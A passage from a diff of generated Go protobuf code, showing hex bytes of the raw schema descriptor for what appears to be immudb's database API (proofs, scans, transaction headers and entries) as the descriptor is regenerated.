0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x73, 0x22, 0xc8, 0x03, 0x0a, 0x09, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x48, 0x00, 0x52, 0x03, 0x72, 0x65, + 0x66, 0x42, 0x0b, 0x0a, 0x09, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x9e, + 0x01, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x31, 0x0a, 0x0a, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x52, 0x0a, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, + 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, + 0x39, 0x0a, 0x07, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2e, 0x0a, 0x07, 0x65, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x82, 0x01, 0x0a, 0x06, 0x5a, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, + 0x72, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, + 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x61, + 0x74, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x22, + 0x3b, 0x0a, 0x08, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x65, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x95, 0x02, 0x0a, + 0x0b, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, + 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, + 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x16, + 0x0a, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, + 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, + 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, + 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, + 0x69, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, + 0x65, 0x65, 0x6b, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, + 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x69, 0x6e, 0x63, 0x6c, + 0x75, 0x73, 0x69, 0x76, 0x65, 0x45, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, + 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x45, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, + 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, + 0x66, 0x73, 0x65, 0x74, 0x22, 0x23, 0x0a, 0x09, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, + 0x78, 0x12, 0x16, 0x0a, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x22, 0x22, 0x0a, 0x0a, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x47, 0x0a, + 0x09, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x75, + 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x70, + 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, + 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x73, 0x69, 0x67, + 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xf1, 0x01, 0x0a, 0x08, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x02, 0x69, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x12, 0x0e, 0x0a, + 0x02, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x74, 0x73, 0x12, 0x1a, 0x0a, + 0x08, 0x6e, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x08, 0x6e, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x0e, 0x0a, 0x02, 0x65, 0x48, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x02, 0x65, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x62, 0x6c, 0x54, + 0x78, 0x49, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x62, 0x6c, 0x54, 0x78, 0x49, + 0x64, 0x12, 0x16, 0x0a, 0x06, 0x62, 0x6c, 0x52, 0x6f, 0x6f, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x06, 0x62, 0x6c, 0x52, 0x6f, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, + 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x48, 0x0a, 0x0a, 0x54, 0x78, + 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x75, 0x6e, + 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x14, + 0x0a, 0x05, 0x65, 0x78, 0x74, 0x72, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x65, + 0x78, 0x74, 0x72, 0x61, 0x22, 0x63, 0x0a, 0x0b, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, + 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, + 0x78, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, + 0x78, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, + 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x89, 0x01, 0x0a, 0x12, 0x4c, 0x69, + 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x2a, 0x0a, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, + 0x65, 0x72, 0x6d, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x6c, 0x69, 0x6e, 0x65, + 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x12, 0x47, 0x0a, 0x0f, + 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x22, 0xc8, 0x03, 0x0a, 0x09, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, + 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, + 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, + 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x12, + 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x12, 0x6c, 0x61, 0x73, + 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, + 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x52, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x51, 0x0a, + 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, + 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, 0x69, + 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x22, 0xe3, 0x01, 0x0a, 0x0b, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, @@ -9134,1475 +9353,1477 @@ var file_schema_proto_rawDesc = []byte{ 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, - 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x74, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x12, 0x2e, 0x0a, 0x12, - 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, - 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3c, 0x0a, 0x0b, - 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0b, 0x6c, - 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x51, 0x0a, 0x12, 0x4c, 0x69, - 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, - 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, - 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xe3, 0x01, - 0x0a, 0x0b, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x12, 0x3f, 0x0a, - 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, - 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, - 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, - 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, - 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, - 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, - 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, - 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x12, 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, - 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, - 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 